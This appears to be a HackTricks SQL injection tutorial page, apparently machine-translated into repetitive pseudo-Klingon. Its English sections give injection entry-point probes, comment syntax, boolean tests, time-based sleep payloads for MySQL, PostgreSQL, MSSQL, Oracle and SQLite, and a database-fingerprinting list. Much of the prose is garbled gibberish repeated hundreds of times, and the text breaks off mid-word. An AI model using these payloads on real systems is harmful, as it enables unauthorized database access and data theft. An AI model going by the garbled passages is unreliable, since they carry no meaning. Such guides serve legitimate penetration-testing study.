| .. | ||
| mysql-injection | ||
| postgresql-injection | ||
| sqlmap | ||
| cypher-injection-neo4j.md | ||
| ms-access-sql-injection.md | ||
| mssql-injection.md | ||
| oracle-injection.md | ||
| README.md | ||
| sqlmap.md | ||
SQL Injection
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
What is SQL injection?
An SQL injection is a security flaw that allows attackers to interfere with database queries of an application. This vulnerability can enable attackers to view, modify, or delete data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
Entry point detection
When a site appears to be vulnerable to SQL injection (SQLi) due to unusual server responses to SQLi-related inputs, the first step is to understand how to inject data into the query without disrupting it. This requires identifying the method to escape from the current context effectively. These are some useful examples:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
ghItlhvam vaj qIb query ghap 'e' errors 'e'. query ghap 'e' fix 'e' input data 'e' previous query 'e' accept new data, 'ej input data 'e' 'ej add comment symbol 'e' add end.
Note**'e'** error messages 'ej differences 'e' query working 'ej 'ej phase easy **'e'.
Comments
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirming with logical operations
A reliable method to confirm an SQL injection vulnerability involves executing a logical operation and observing the expected outcomes. For instance, a GET parameter such as ?username=Peter yielding identical content when modified to ?username=Peter' or '1'='1 indicates a SQL injection vulnerability.
Similarly, the application of mathematical operations serves as an effective confirmation technique. For example, if accessing ?id=1 and ?id=2-1 produce the same result, it's indicative of SQL injection.
Examples demonstrating logical operation confirmation:
qar'a'wI' logh
SQL injection vulnerability laHlIj vItlhutlhlaHchugh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh logh
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
qaStaHvIS SQLinjections laHlIj jatlh vItlhutlh:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
Timing vItlhutlh
vaj pagh vItlhutlh 'e' vItlhutlh pagh pagh vItlhutlh 'e' vItlhutlh jatlh SQL injections vItlhutlh. vaj, blin SQL injections vItlhutlh jatlh vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh vItlhutlh 'e' vItlhutlh pagh vItlhutlh 'e' vItlhutlh
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
ghItlh QaQ tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh jatlh 'ej vItlhutlh tlhIngan ghItlh **j
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
ghobe'. vaj tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol 